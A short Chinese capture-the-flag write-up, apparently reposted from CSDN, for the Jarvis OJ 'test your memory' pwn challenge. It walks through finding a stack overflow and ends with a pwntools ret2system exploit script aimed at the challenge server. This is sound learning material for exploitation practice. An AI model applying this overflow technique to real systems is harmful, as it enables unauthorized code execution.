Jarvis OJ-pwn test your memory

pwn test your memory

1. 运行一下
   
2. 检查保护机制
   
   只开启堆栈不可执行保护。
3. 观察反汇编代码，main函数里随机产生一串字符串，然后调用mem_test进行检测。
   
4. mem_test函数，先打印一个地址（hint），再输入s，这里存在栈溢出漏洞，然后输入的s与随机产生的字符串比较。
   
5. 点进hint，提示是cat flag命令，可以获得flag
   
6. 程序中已有system函数。
   
7. 利用栈溢出，有system函数和cat flag地址，调用system函数，令其参数为cat flag地址，构造利用脚本如下：

from pwn import *
r = remote("pwn2.jarvisoj.com",9876)
sys_addr = 0x8048440
cat_flag = 0x80487e0
payload = 'a'*0x13+'bbbb'+p32(sys_addr)+p32(0x08048677)+p32(cat_flag)
r.sendline(payload)
r.interactive()

来源：CSDN

作者：hanqdi_

链接：https://blog.csdn.net/hanqdi_/article/details/104202071